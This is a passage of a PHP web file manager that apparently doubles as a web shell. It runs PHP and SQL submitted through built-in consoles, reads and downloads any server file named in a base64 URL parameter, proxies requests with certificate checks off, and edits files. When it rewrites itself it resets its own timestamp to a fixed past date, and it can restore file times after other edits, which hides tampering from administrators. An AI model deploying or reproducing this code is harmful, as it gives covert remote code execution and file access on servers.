$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg_now .= __('File updated');
} else $msg_now .= __('Error occurred');
if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} else $msg_now .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fmo_config['enable_proxy']))) {
$url = isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
<form action="" method="GET">
<input type="hidden" name="proxy" value="true">
'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
<input type="submit" value="'.__('Show').'" class="fm_input">
</form>
</div>
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
echo $result;
die();
}
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title><?=__('File manager')?></title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0px;
}
a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover { color: #FFA34F; text-decoration: underline; }
table.bg {
background-color: #ACBBC6
}
th, td {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
padding: 3px;
}
th {
height: 25px;
background-color: #006699;
color: #FFA34F;
font-weight: bold;
font-size: 11px;
}
.row1 {
background-color: #EFEFEF;
}
.row2 {
background-color: #DEE3E7;
}
.row3 {
background-color: #D1D7DC;
padding: 5px;
}
tr.row1:hover {
background-color: #F3FCFC;
}
tr.row2:hover {
background-color: #F0F6F6;
}
.whole {
width: 100%;
}
.all tbody td:first-child{width:100%;}
textarea {
font: 9pt 'Courier New', courier;
line-height: 125%;
padding: 5px;
}
.textarea_input {
height: 1em;
}
.textarea_input:focus {
height: auto;
}
input[type=submit]{
background: #FCFCFC none !important;
cursor: pointer;
}
.folder {
background-image: url("data:image/png;base64,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");
}
.file {
background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
table{display:block;}
#fm_table td{display:inline;float:left;}
#fm_table tbody td:first-child{width:100%;padding:0;}
#fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
#fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
#fm_table tr{display:block;float:left;clear:left;width:100%;}
#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fmo_config['enable_sql_console'])){
$res = empty($_POST['sql']) ? '' : $_POST['sql'];
$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fmo_config['enable_php_console'])){
$res = empty($_POST['php']) ? '' : $_POST['php'];
$res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
echo '
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_now)?'':'<tr><td class="row2" colspan="2">'.$msg_now.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fmo_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fmo_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fmo_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fmo_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_mydevice['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth_mydevice['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth_mydevice['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_mydevice['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_mydevice['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_mydevice['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
if($res_lng=='sql') echo ' - Database: '.$fmo_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
else echo '</h2></td><td>'.fm_run_input('sql');
?></td></tr></table></td>
</tr>
<tr>
<td class="row1">
<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
<form action="" method="POST" name="console">
<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
<input type="reset" value="<?=__('Reset')?>">
<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
$select .= '<option value="-1">' . __('Select') . "</option>\n";
foreach ($tmpl as $key=>$value){
$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
}
$select .= "</select>\n";
echo $select;
}
?>
</form>
</td>
</tr>
</table>
<?php
if (!empty($res)) {
$fun='fm_'.$res_lng;
echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_now .= __('File updated');
else $msg_now .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fmo_config['restore_time'])) touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
<th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
<td class="row1">
<?=$msg_now?>
</td>
</tr>
<tr>
<td class="row1">
<?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$editlink?>">
<textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
<input type="submit" name="save" value="<?=__('Submit')?>">
<input type="submit" name="cancel" value="<?=__('Cancel')?>">
</form>
</td>
</tr>
</table>
<?php
echo $auth_mydevice['script'];
} elseif(!empty($_REQUEST['rights'])){
if(!empty($_REQUEST['save'])) {
